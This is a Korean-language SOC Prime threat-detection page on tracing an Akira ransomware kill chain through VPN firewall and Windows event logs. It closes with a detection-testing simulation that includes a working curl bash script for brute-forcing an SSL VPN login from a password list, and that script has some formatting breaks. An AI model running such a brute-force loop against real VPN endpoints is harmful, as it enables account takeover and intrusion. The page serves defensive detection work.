SOC Prime Bias: 높음

29 May 2026 07:16 UTC

경계 및 엔드포인트 로그를 통한 Akira 랜섬웨어 킬 체인 추적

Author Photo
SOC Prime Team linkedin icon 팔로우
경계 및 엔드포인트 로그를 통한 Akira 랜섬웨어 킬 체인 추적
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 Akira 랜섬웨어 작전에 연결된 최근 침해에 대해 설명합니다. 공격자는 비활성화된 로컬 SSL VPN 계정을 무차별 대입(brute-forcing)하여 초기 접근을 얻고, 이후 자격 증명 검색, Kerberoasting, RDP를 통한 횡적 이동을 진행했습니다. 암호화를 시작하기 전에 로그를 지우고 섀도 복사본을 제거했습니다. 주목할 만한 점은 전체 시퀀스를 방화벽 syslog 데이터와 Windows EVTX 로그를 통해 볼 수 있었으며, 엔드포인트 탐지 도구에 의존하지 않았습니다. 이 보고서는 주변 및 엔드포인트 텔레메트리를 결합하면 랜섬웨어 활동을 초기 단계에서 노출시킬 수 있음을 강조합니다.

조사

조사는 SSL VPN 방화벽 로그와 도메인 컨트롤러 및 구성원 서버에서 수집한 Windows 이벤트 로그 내보내기에 전적으로 의존했습니다. 이벤트 ID는 다음을 포함합니다 4624, 4688, 4769, 1102, 및 7036 이들이 초기 접근부터 최종 영향까지의 전체 킬 체인을 재구성하는 데 상관관계가 있었습니다. 관측된 기술에는 자격 증명 스터핑, 도메인 발견, Kerberoasting, RDP 인증, 로그 지우기, 섀도 복사본 삭제가 포함되었습니다. 침입 맵을 그리기 위해 메모리 이미지나 EDR 텔레메트리가 필요하지 않았습니다.

완화책

이 보고서는 원격 액세스 보안 강화, MFA 시행, 방화벽 접근 목록에서 비활성 계정 제거 및 인증 잠금 정책 강화를 권장합니다. 또한 모든 시스템에서 이벤트 ID와 함께 상세한 프로세스 감사 활성화, 보안 로그 보유 기간 증가, 주요 로그를 외부 저장소로 전달하는 것을 권장합니다. 탐지 콘텐츠는 RC4 기반 Kerberos 티켓, 4688 섀도 복사본 삭제 및 섀도 복사본 삭제 및 예상치 못한 PowerShell 명령을 포함해야 합니다 -EncodedCommand를 사용한 명령. 인프라 전반의 일관된 시간 동기화는 신뢰할 수 있는 상관 관계에 필수적입니다.

대응

식별된 지표가 나타나면 대응자는 즉시 손상된 VPN 계정을 격리하고 영향을 받은 시스템을 격리해야 합니다. 관련 방화벽 및 EVTX 로그를 보존하고 자격 증명을 재설정하며, 손상된 계정을 비활성화하고 가능한 경우 깨끗한 백업에서 섀도 복사본을 복원해야 합니다. 추가적인 지속성 또는 후속 활동을 식별하기 위한 전체 포렌식 검토를 진행하며, 랜섬웨어 대응 절차를 활성화합니다. 이해관계자에게 즉시 알리고, 필요 시에는 공개를 고려해야 합니다.

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준 사전 비행 검사를 통과해야 합니다.

근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서술은 식별된 TTP를 반영해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령어:

    1. 정찰(T1087): 공격자는 손상된 내부 시스템에서 사용자 이름을 나열하고 자격 증명 스터핑 목록을 작성합니다 (예: users.txt).
    2. 무차별 대입 루프 (T1021.001 / T1078.001): 알려진 호스팅 제공업체에 속한 손상된 외부 IP 범위(예: 203.0.113.45)를 사용하여 공격자는 1시간 내에 빠른 일련의 SSLVPN 인증 시도가 실패하게 됩니다 (≥ 50회). 각 시도는 목록에서 다른 암호를 사용하여 단일 피해자 계정을 대상으로 합니다.
    3. 성공적인 자격 증명 스터핑: 목록을 모두 소진한 후, 올바른 비밀번호를 찾아 동일한 IP에서 성공적으로 로그인하여 “successful_auth” 절을 충족시킵니다.
    4. 회피 (선택적 – T1070.001): 공격자는 성공적으로 로그인한 후 추적을 숨기기 위해 VPN 장치에서 보안 로그를 지웁니다(이 규칙에서 다루지 않음).
  • 회귀 테스트 스크립트: Bash 스크립트를 사용하는 curl (Linux 공격자 박스에서 작동). 실제 환경에 맞게 변수를 조정하십시오.

    #!/usr/bin/env bash
    # ------------------------------------------------------------------
    # SSLVPN 무차별 대입 및 자격 증명 스터핑 시뮬레이션하여 시그마 규칙을 트리거합니다.
    # ------------------------------------------------------------------
    
    VPN_ENDPOINT="https://vpn.example.com/remote/auth"
    USERNAME="victim_user"
    PASSWORD_LIST="passwords.txt"   # 한 줄당 하나의 비밀번호
    SOURCE_IP="203.0.113.45"        # VPN에 라우팅 가능해야 함
    
    # 단일 로그인 시도를 수행하는 함수
    tempt_login() {
        local pwd="$1"
        # --silent로 혼잡을 피하고, --write-out으로 HTTP 코드 캡처
        curl --silent --output /dev/null --write-out "%{http_code}" 
            --user "$USERNAME:$pwd" 
            "$VPN_ENDPOINT"
    }
    
    # 1. 55번의 로그인 시도 실패 생성 (속도 ~ 1/sec)
    echo "실패한 시도를 시작합니다..."
    count=0
    while IFS= read -r pwd && [ $count -lt 55 ]; do
        http_code=$(tempt_login "$pwd")
        echo "Attempt $((count+1)): HTTP $http_code (expected 401)"
        ((count++))
        sleep 1   # 1시간 이내 창 유지
    done < "$PASSWORD_LIST"
    
    # 2. 올바른 비밀번호로 성공적인 로그인 수행 (파일의 마지막 줄로 가정)
    echo "성공적인 로그인 수행..."
    correct_pwd=$(tail -n1 "$PASSWORD_LIST")
    http_code=$(tempt_login "$correct_pwd")
    echo "Successful attempt: HTTP $http_code (expected 200)"
    
    echo "시뮬레이션 완료."
  • 정리 명령어: 임시 파일을 제거하고 방화벽 속도 제한을 재설정합니다(변경된 경우).

    #!/usr/bin/env bash
    # SSLVPN 무차별 대입 시뮬레이션 후 정리
    
    # 임시 비밀번호 목록이 즉석에서 생성된 경우 삭제
    if [ -f passwords.txt ]; then
        shred -u passwords.txt
        echo "Deleted passwords.txt"
    fi
    
    # 테스트를 위한 임시 iptables 규칙이 사용된 경우 선택적으로 재설정
    sudo iptables -D INPUT -s 203.0.113.45 -j DROP 2>/dev/null || true
    echo "정리가 끝났습니다."